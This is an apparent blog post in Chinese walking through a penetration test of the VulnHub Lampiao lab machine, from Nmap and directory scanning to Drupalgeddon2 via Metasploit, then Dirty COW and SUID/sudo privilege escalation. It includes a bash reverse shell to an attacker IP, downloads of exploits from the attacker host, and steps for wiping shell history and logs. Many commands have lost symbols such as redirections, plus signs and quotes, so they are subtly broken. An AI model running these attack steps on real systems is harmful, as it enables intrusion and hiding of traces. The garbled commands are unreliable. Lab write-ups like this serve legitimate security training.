发布时间:2026/6/26 9:00:05
从信息收集到权限提升:Lampiao靶机渗透实战全解析
1. 项目概述一次对Lampiao靶机的完整渗透剖析最近在整理渗透测试的学习笔记翻到了几年前做过的Lampiao靶机。这个靶机在VulnHub上挺有名的是一个基于Ubuntu的Linux服务器模拟了一个存在多个漏洞的Web应用环境。它之所以经典是因为整个渗透路径串联了从信息收集、Web漏洞利用到权限提升的多个核心环节非常适合用来巩固基础。今天我就把这个过程从头到尾拆解一遍不仅复现步骤更关键的是聊聊每个环节背后的思路和踩过的坑。无论你是刚入门安全的新手还是想温故知新的同行希望这篇详尽的复盘能给你带来一些实操上的启发。简单来说这次渗透的目标是获取Lampiao靶机假设其IP为192.168.1.100的最高权限root shell。整个过程会经历网络发现与端口扫描、Web目录枚举与敏感信息发现、利用已知漏洞获取初始立足点、在系统内部进行信息收集最后通过内核漏洞完成权限提升。我们会用到Nmap、Dirb、Searchsploit、Metasploit等常见工具但重点不在于工具本身而在于如何将它们组合起来形成有效的攻击链。2. 环境准备与初始信息收集渗透测试的第一步永远是信息收集它的质量直接决定了后续所有动作的效率和成功率。对于Lampiao这样的独立靶机我们首先需要找到它。2.1 目标定位与网络扫描在实战中目标IP可能通过资产梳理、域名解析或其他情报获得。在实验环境如VMware或VirtualBox搭建的局域网中我们通常使用netdiscover或nmap进行存活主机扫描。sudo netdiscover -r 192.168.1.0/24假设我们发现了192.168.1.100这个活跃主机。接下来就要用Nmap对其进行深度端口扫描这是了解目标开放服务、操作系统和潜在入口点的关键。nmap -sS -sV -O -p- 192.168.1.100 -oN nmap_initial.txt这里有几个参数值得解释-sS: TCP SYN扫描一种半开放扫描相对隐蔽且快速。-sV: 版本探测尝试识别运行在开放端口上的服务及其具体版本号。知道版本号才能匹配已知漏洞。-O: 启用操作系统检测。-p-: 扫描所有65535个端口避免遗漏高端口服务。-oN: 将标准格式结果输出到文件便于后续查阅。扫描结果通常会显示类似以下内容PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) 1898/tcp open http Apache httpd 2.4.7 ((Ubuntu))注意这里出现了两个HTTP端口80和1898。在渗透测试中非标准端口如1898往往容易被忽视但恰恰可能承载着测试或管理后台是重要的突破口。务必对每一个开放端口都给予同等关注。2.2 Web应用初步侦察发现Web服务后我们首先通过浏览器直接访问。访问http://192.168.1.100:80可能是一个默认Apache页面或没有内容。而访问http://192.168.1.100:1898则可能呈现出一个具体的Web应用——这正是Lampiao靶机的主战场。手动浏览首先像普通用户一样点击所有链接、表单观察URL结构、参数、使用的技术查看页面源码注意JavaScript框架、注释等。使用浏览器开发者工具F12查看网络请求和响应头有时能发现隐藏的API路径或调试信息。目录与文件枚举这是发现隐藏入口、备份文件、配置文件的核心步骤。我习惯使用gobuster或dirb。gobuster dir -u http://192.168.1.100:1898 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,bak-u: 目标URL。-w: 字典路径。common.txt是一个基础字典对于更深入的测试可以换用更大的字典如big.txt或directory-list-2.3-medium.txt。-x: 尝试这些扩展名。bak、old、tar.gz等扩展名常常对应着源代码或配置备份里面可能包含数据库密码、API密钥等敏感信息。在这个阶段对Lampiao的扫描极有可能发现一个关键目录比如/admin、/backup或一个特定的CMS如Drupal的登录入口。发现的内容将直接导向下一步的漏洞利用。3. 漏洞挖掘与初始访问获取信息收集为我们绘制了攻击面地图接下来就是寻找并利用薄弱点拿到进入系统的第一道门禁。3.1 识别CMS与已知漏洞利用假设通过目录枚举我们发现在http://192.168.1.100:1898上运行着一个旧版本的Drupal内容管理系统。Drupal历史上存在过一些严重漏洞例如著名的DrupalgeddonCVE-2018-7600。版本确认访问/CHANGELOG.txt或/core/CHANGELOG.txt等Drupal常见文件确认其具体版本号例如Drupal 7.x。搜索漏洞利用代码使用searchsploit在本地漏洞库中查找。searchsploit drupal 7.x这会列出所有相关的漏洞利用脚本。我们需要仔细阅读描述找到匹配目标版本和环境的脚本。对于Drupalgeddon可能会有Ruby、Python或Metasploit模块等多种利用方式。使用Metasploit进行利用Metasploit提供了高度集成的利用模块对于此类已知漏洞非常方便。msfconsole use exploit/unix/webapp/drupal_drupalgeddon2 set RHOSTS 192.168.1.100 set RPORT 1898 set TARGETURI / exploit如果漏洞存在且利用成功我们将获得一个Meterpreter会话。Meterpreter是一个功能强大的后渗透代理提供了文件系统交互、命令执行、信息收集等能力。实操心得并非所有公开的Exploit都能一次成功。可能因为目标环境配置、网络限制如防火墙、WAF或Exploit脚本本身的小问题导致失败。此时需要仔细阅读Exploit脚本的代码和注释理解其原理。尝试调整参数如TARGETURI。寻找不同语言编写的替代Exploit脚本Python版可能比Ruby版更稳定。手动利用有时根据漏洞原理手动构造一个HTTP请求用cURL或Burp Suite来执行命令反而更直接可靠。3.2 建立稳定Shell与初步立足通过Metasploit获得的Meterpreter会话虽然强大但可能不够稳定特别是反向连接可能被中断。因此获取一个稳定的标准Shell是必须的。在Meterpreter中获取标准Shellmeterpreter shell这会弹出一个可能是非常简陋的Shell比如sh。我们首先升级到功能更完整的bashShell。python -c import pty; pty.spawn(/bin/bash)或者如果python不可用/bin/bash -i创建持久化反向Shell为了在会话断开后能重新连接我们通常在目标机器上生成一个反向Shell连接。先在攻击机Kali上监听一个端口nc -lvnp 4444然后在目标Shell中使用多种方法之一创建连接bash -i /dev/tcp/192.168.1.50/4444 01假设攻击机IP是192.168.1.50也可以上传一个用msfvenom生成的持久化后门程序但动作更大可能触发防护。至此我们已经成功突破了边界在Lampiao服务器上获得了一个初始的、低权限的用户Shell通常是www-data即运行Web服务的用户。这是整个渗透过程中从0到1的质变。4. 内部信息收集与横向移动进入系统内部后视野从外部扫描变成了内部侦查。目标是收集足够的信息找到通往更高权限通常是root的路径。4.1 系统与用户信息枚举以www-data身份我们可以运行一系列命令来绘制内部环境图# 查看当前用户和权限 id whoami # 查看系统版本和内核信息为后续提权做准备 uname -a cat /etc/issue cat /etc/*-release # 查看网络连接和监听端口发现内部其他服务 netstat -antup ss -tulpn # 查看进程列表寻找以root运行的有趣进程 ps aux | grep root # 查看计划任务可能有配置不当的脚本 crontab -l ls -la /etc/cron* # 查看可写目录和文件寻找利用点 find / -type f -writable 2/dev/null | grep -v /proc find / -type d -writable 2/dev/null | grep -v /proc # 查看用户主目录和历史命令可能发现密码或操作习惯 ls -la /home/ cat ~/.bash_history4.2 敏感文件与凭证搜寻Web服务器上经常遗留配置文件或备份文件其中可能包含数据库密码或其他系统的访问凭证。# 检查Web根目录下的配置文件 find /var/www/ -name *.php -type f -exec grep -l password\|passwd\|pwd\|DB_PASS\|mysql_connect {} \; 2/dev/null # 查看常见的配置文件 cat /var/www/html/sites/default/settings.php # Drupal配置文件 cat /var/www/html/wp-config.php # WordPress配置文件 # 搜索整个系统的密码相关文件 find / -name *.txt -o -name *.bak -o -name *config* -o -name *.sql 2/dev/null | head -20在Lampiao的案例中我们很可能在某个配置文件或用户目录的隐藏文件中找到另一个系统用户比如一个叫tiago的用户的SSH私钥或密码哈希。如果找到SSH私钥需要将其复制到攻击机修改权限后尝试登录# 在攻击机上 chmod 600 id_rsa_tiago ssh -i id_rsa_tiago tiago192.168.1.100如果找到密码哈希可能在/etc/shadow中但www-data通常无权读取可以尝试用john或hashcat进行破解。成功切换到另一个用户如tiago可能意味着我们拥有了更多的文件读取权限离root更近一步。5. 权限提升从普通用户到Root提权是渗透测试的最终目标也是最能体现技术深度的一环。方法主要分为两大类利用内核漏洞和利用配置错误/权限问题。5.1 内核漏洞提权Dirty COW在之前的uname -a命令输出中我们可能看到类似Linux lampiao 3.13.0-32-generic的内核信息。对于3.x系列的Linux内核Dirty COWCVE-2016-5195是一个极其经典且可靠的本地提权漏洞。漏洞验证使用脚本检查系统是否存在已知提权漏洞。# 上传或在线下载linux-exploit-suggester.sh等脚本 wget http://192.168.1.50/linux-exploit-suggester.sh -O /tmp/les.sh chmod x /tmp/les.sh /tmp/les.sh脚本会列出可能的漏洞Dirty COW很可能在列。利用漏洞我们需要将漏洞利用代码Exploit上传到目标服务器。可以从攻击机开启一个简单的HTTP服务# 在攻击机Kali上 python3 -m http.server 8080然后在目标Shell中下载并编译Exploit以Dirty COW的一个常见版本为例# 在目标机Lampiao上 cd /tmp wget http://192.168.1.50:8080/dirty.c gcc -pthread dirty.c -o dirty -lcrypt注意事项目标机器上可能没有gcc。如果遇到这种情况就需要在攻击机上编译好对应架构通常是x86或x64的二进制文件然后直接上传。可以使用file命令查看系统架构。执行提权./dirty执行后Exploit会创建一个新的root权限用户例如用户名为firefart密码为password。然后我们可以切换到这个用户su firefart输入密码后执行id命令如果显示uid0(root)则提权成功。5.2 其他提权向量检查内核漏洞是“重型武器”但有时不适用或失败。我们必须并行检查其他常见的提权路径它们往往更隐蔽SUID/SGID文件查找设置了SUID位且属主是root的可执行文件。如果这些程序存在漏洞或能被滥用就可能以root身份执行命令。find / -type f -perm -4000 -o -perm -2000 2/dev/null重点关注nmap旧版本交互模式、vim、find、bash、cp、mv等。例如如果find有SUID位可以这样提权touch /tmp/rootshell find /tmp/rootshell -exec /bin/bash -p \;Sudo权限检查当前用户可以用sudo以root身份运行哪些命令。sudo -l如果结果显示用户可以无密码运行某个命令如/usr/bin/python、/usr/bin/perl、/usr/bin/vi等就可以直接启动一个root shellsudo python -c import os; os.system(/bin/bash)Capabilities能力一种更细粒度的权限划分。getcap -r / 2/dev/null例如如果/usr/bin/python被赋予了cap_setuidep能力那么Python脚本就能直接设置用户ID从而提权。PATH环境变量劫持如果有一个以root权限运行的脚本或程序它调用了系统命令如ls、cp但没有使用绝对路径我们就可以通过控制PATH环境变量让它执行我们恶意版本的命令。# 假设/root/script.sh 里调用了 service apache2 restart echo /bin/bash /tmp/service chmod x /tmp/service export PATH/tmp:$PATH # 然后等待或触发root用户执行/root/script.sh在Lampiao靶机中最直接有效的路径通常是利用内核漏洞如Dirty COW快速获得root权限。但全面检查上述向量是一个优秀渗透测试员的习惯它能确保不遗漏任何机会并在内核漏洞利用失败时提供备选方案。6. 后渗透清理与痕迹管理在获得root权限后渗透测试的主要目标已经达成。但在实战演练或授权测试中出于职业道德和避免对系统造成不必要影响通常需要进行简单的清理。删除上传的工具和文件删除在/tmp、/dev/shm等目录上传的Exploit、扫描脚本、后门等。rm -f /tmp/dirty /tmp/dirty.c /tmp/les.sh清除命令历史清除当前用户和root用户的命令历史记录。echo ~/.bash_history history -c # 如果是root也清理/root/.bash_history检查并清理日志谨慎操作在授权测试中可能需要记录攻击路径而非完全清除。在非授权环境中此步骤是违法的。仅作知识性了解# 查看相关日志 cat /var/log/auth.log | grep -i accepted cat /var/log/apache2/access.log | tail -50 # 清空日志不推荐在真实测试中随意使用 # /var/log/auth.log # /var/log/apache2/access.log对于Lampiao这样的练习靶机最后一步通常是获取证明标志Proof Flag。在/root或/home目录下往往有一个名为flag.txt、proof.txt或root.txt的文件其内容就是最终的胜利凭证。cat /root/root.txt7. 常见问题与排查技巧实录在整个渗透过程中几乎不可能一帆风顺。下面是我在多次演练中遇到的一些典型问题及解决思路问题场景可能原因排查与解决思路Nmap扫描无结果目标主机防火墙丢弃ICMP/探测包使用-Pn参数跳过主机发现直接扫描端口。尝试-sT全连接扫描但更易被记录。Web目录枚举无发现字典不匹配或目标有WAF/速率限制换用更大的字典如directory-list-2.3-medium.txt。使用--delay参数降低扫描速度。尝试使用不同的工具如dirsearch、ffuf对比结果。Exploit执行失败目标服务版本不匹配、路径错误、依赖缺失用searchsploit -x 编号仔细查看Exploit代码的说明和依赖。手动用curl或浏览器验证漏洞点。尝试在Metasploit中设置Check选项。寻找该漏洞的其他利用脚本。反向Shell连接不上目标出站流量被防火墙阻止或监听命令错误检查攻击机防火墙是否允许入站连接。尝试不同端口如53, 443, 8080。确认目标命令中的IP和端口正确。尝试使用其他反向Shell payload如Python, PHP, Perl。提权Exploit编译失败目标系统缺少gcc或依赖库在攻击机Kali上交叉编译对应架构的二进制文件后上传。使用file命令确认目标架构。寻找已编译好的二进制Exp。尝试其他不需要编译的提权方法如SUID、sudo。获得的Shell不稳定Shell环境受限如rbash或连接易中断使用python pty技巧升级为完全交互式TTY。使用socat或script命令改善Shell。尝试通过Web漏洞写入一个Web Shell作为备用通道。一个关键的实操心得信息收集阶段多花一分钟漏洞利用阶段可能少花一小时。不要一看到开放端口就急着上Exploit。仔细分析Nmap的-sV版本信息、Web应用的指纹、HTTP响应头这些细节往往能直接告诉你最有效的攻击路径是什么。例如看到Apache/2.4.7和Drupal 7.x有经验的人会立刻联想到Drupalgeddon而不是盲目地去测试SQL注入。另一个技巧是善用代理和流量记录。在浏览器访问或使用命令行工具时配合Burp Suite或ZAP等代理工具可以拦截、查看、重放所有HTTP/HTTPS请求。这对于分析复杂的Web应用交互、手动构造攻击Payload、绕过简单的客户端验证至关重要。很多时候自动化工具扫不出来的漏洞通过手动分析请求和响应就能发现端倪。

相关新闻

百度网盘解析工具完整教程:免费获取高速下载链接的终极指南
2026/6/26 9:00:05

百度网盘解析工具完整教程:免费获取高速下载链接的终极指南

百度网盘解析工具完整教程:免费获取高速下载链接的终极指南 【免费下载链接】baidu-wangpan-parse 获取百度网盘分享文件的下载地址 项目地址: https://gitcode.com/gh_mirrors/ba/baidu-wangpan-parse 还在为百度网盘的速度限制而烦恼吗?想要摆脱…

阅读更多
Neuron | 北大李程团队绘制衰老小胶质细胞单细胞蛋白组图谱
2026/6/26 8:00:05

Neuron | 北大李程团队绘制衰老小胶质细胞单细胞蛋白组图谱

本账号(精准医学与蛋白组学)关注国内外蛋白组学、蛋白修饰组学应用领域的科研进展,普及蛋白组学在生命科学及基础医学研究中的应用,一起交流学习。如有侵权请联系后台删除。小胶质细胞是中枢神经系统的常驻免疫细胞,在…

阅读更多
Ryujinx免费Switch模拟器:三分钟上手,畅玩4100+款Switch游戏
2026/6/26 8:00:05

Ryujinx免费Switch模拟器:三分钟上手,畅玩4100+款Switch游戏

Ryujinx免费Switch模拟器:三分钟上手,畅玩4100款Switch游戏 【免费下载链接】Ryujinx 用 C# 编写的实验性 Nintendo Switch 模拟器 项目地址: https://gitcode.com/GitHub_Trending/ry/Ryujinx 想要在电脑上玩Switch游戏却不知从何开始&#xff1…

阅读更多
MUMmer实战指南:如何高效完成基因组序列比对与分析的5个专业技巧
2026/6/26 10:00:05

MUMmer实战指南:如何高效完成基因组序列比对与分析的5个专业技巧

MUMmer实战指南:如何高效完成基因组序列比对与分析的5个专业技巧 【免费下载链接】mummer Mummer alignment tool 项目地址: https://gitcode.com/gh_mirrors/mu/mummer MUMmer是一款专为大规模基因组序列比对设计的高性能工具,能够快速完成DNA和…

阅读更多
微软Copilot集成实战:AI工作流熔断与岗位能力重构指南
2026/6/26 10:00:05

微软Copilot集成实战:AI工作流熔断与岗位能力重构指南

1. 项目概述:当“AI优先”不再是一句口号,而是HR系统里跳动的红色数字“9,000 Jobs Gone: Microsoft’s AI Pivot Just Got Brutally Real”——这个标题不是财经媒体的耸人听闻,而是2024年春季真实滚过科技圈的一记闷雷。我本人在微软生态里…

阅读更多
Linux Ubuntu/CentOS虚拟机分辨率异常,强制刷新失败?深度解析vmwgfx驱动机制与xorg.conf黄金配置模板
2026/6/26 10:00:05

Linux Ubuntu/CentOS虚拟机分辨率异常,强制刷新失败?深度解析vmwgfx驱动机制与xorg.conf黄金配置模板

更多请点击: https://intelliparadigm.com 第一章:Linux虚拟机分辨率异常的典型现象与诊断入口 Linux虚拟机中分辨率异常是高频问题,常见表现为桌面环境无法铺满窗口、显示区域被裁剪、缩放错乱或仅支持极低分辨率(如 640480&…

阅读更多
5步解决华硕笔记本性能优化难题:G-Helper完全指南
2026/6/26 10:00:05

5步解决华硕笔记本性能优化难题:G-Helper完全指南

5步解决华硕笔记本性能优化难题:G-Helper完全指南 【免费下载链接】g-helper Lightweight Armoury Crate alternative for Asus laptops with nearly the same functionality. Works with ROG Zephyrus, Flow, TUF, Strix, Scar, ProArt, Vivobook, Zenbook, Expert…

阅读更多
重塑远程协作边界:基于WebRTC的跨平台桌面控制新范式
2026/6/26 10:00:05

重塑远程协作边界:基于WebRTC的跨平台桌面控制新范式

重塑远程协作边界:基于WebRTC的跨平台桌面控制新范式 【免费下载链接】billd-desk 基于Vue3 WebRTC Nodejs Flutter搭建的远程桌面控制、游戏串流 项目地址: https://gitcode.com/gh_mirrors/bi/billd-desk 在数字化工作日益普及的今天,远程协…

阅读更多
血泪教训!2026传智教育博学谷AI大模型培训实录:不仅是割韭菜,更是PUA你的未来!
2026/6/26 9:00:05

血泪教训!2026传智教育博学谷AI大模型培训实录:不仅是割韭菜,更是PUA你的未来!

大家好,我是你们的技术同行者。2026年6月,AI大模型已经不再是新鲜词,而是无数求职者眼中的“救命稻草”。然而,当技术的红利到来时,最先闻到血腥味的往往不是鲨鱼,而是拿着镰刀的商人。最近,我亲…

阅读更多
嵌入式语音编解码实战:G.726 ADPCM库集成与优化指南
2026/6/25 12:25:54

嵌入式语音编解码实战:G.726 ADPCM库集成与优化指南

1. 项目概述与G.726 ADPCM技术背景在嵌入式语音处理领域,带宽和存储资源往往是寸土寸金的。如果你做过对讲机、VoIP网关或者早期的数字录音设备,一定对如何在有限的比特率下保住语音可懂度这件事深有感触。我当年接手一个车载调度系统的项目,…

阅读更多
ITU656格式化器寄存器配置实战:VBI数据处理与VCR特技播放兼容性
2026/6/25 22:07:52

ITU656格式化器寄存器配置实战:VBI数据处理与VCR特技播放兼容性

1. 项目概述与核心挑战在数字视频处理领域,将原始的视频数据、同步时序以及各种辅助信息打包成一个标准、稳定的串行数据流,是确保设备间互联互通的基础。ITU-R BT.656标准(常简称为ITU656)正是为此而生的一套“交通规则”。它定义…

阅读更多
嵌入式GUI开发实战:emWin环境搭建、配置优化与性能调优指南
2026/6/25 20:03:50

嵌入式GUI开发实战:emWin环境搭建、配置优化与性能调优指南

1. 项目概述与emWin核心价值解析在嵌入式系统开发领域,人机交互(HMI)的设计正从简单的LED指示灯和按键,快速向全彩图形化界面演进。无论是智能家电上的触摸屏、工业PLC的操作面板,还是医疗设备的参数显示,一…

阅读更多
计算机毕业设计之基于Java的流浪动物收养系统设计与开发
2026/6/26 0:00:04

计算机毕业设计之基于Java的流浪动物收养系统设计与开发

时代在飞速进步,每个行业都在努力发展现在先进技术,通过这些先进的技术来提高自己的水平和优势,流浪动物收养系统当然不能排除在外。流浪动物收养系统是在实际应用和软件工程的开发原理之上,运用java语言以及SSM框架进行开发。首先…

阅读更多
技术线上面试代码写完就以为通关?留学生利用黑盒测试自证风控「蒸汽教育分享」
2026/6/26 0:00:04

技术线上面试代码写完就以为通关?留学生利用黑盒测试自证风控「蒸汽教育分享」

在线上白板编程(Coding)或算法实战轮次中,不少代码基本功扎实的技术新人,在跑通了题目主干逻辑的第一时间,会习惯性地向评委表示“我写完了”。这在极其注重系统稳定性的研发总监和资深架构师眼里,往往暴露…

阅读更多
暗黑2存档编辑器终极指南:5分钟快速掌握d2s-editor完整使用教程
2026/6/26 0:00:04

暗黑2存档编辑器终极指南:5分钟快速掌握d2s-editor完整使用教程

暗黑2存档编辑器终极指南:5分钟快速掌握d2s-editor完整使用教程 【免费下载链接】d2s-editor 项目地址: https://gitcode.com/gh_mirrors/d2/d2s-editor 你是否厌倦了在暗黑破坏神2中反复刷装备的枯燥过程?是否想快速测试不同的职业build却不想花…

阅读更多
GIT修改用户名
2026/6/26 3:53:45

GIT修改用户名

在GIT中修改用户名可按以下步骤操作: 查看当前git的用户名,使用命令git config --list或git config user.name。修改git用户名,使用命令git config --global user.name "xxx(新的用户名)",将其中…

阅读更多
Win11Debloat:让你的Windows系统重获新生的终极优化工具
2026/6/23 23:39:46

Win11Debloat:让你的Windows系统重获新生的终极优化工具

Win11Debloat:让你的Windows系统重获新生的终极优化工具 【免费下载链接】Win11Debloat A simple, lightweight PowerShell script that allows you to remove pre-installed apps, disable telemetry, as well as perform various other changes to declutter and …

阅读更多
技术深度解析:m4s-converter实现原理与B站缓存视频转换最佳实践
2026/6/24 18:38:44

技术深度解析:m4s-converter实现原理与B站缓存视频转换最佳实践

技术深度解析:m4s-converter实现原理与B站缓存视频转换最佳实践 【免费下载链接】m4s-converter 一个跨平台小工具,将bilibili缓存的m4s格式音视频文件合并成mp4 项目地址: https://gitcode.com/gh_mirrors/m4/m4s-converter m4s-converter是一个…

阅读更多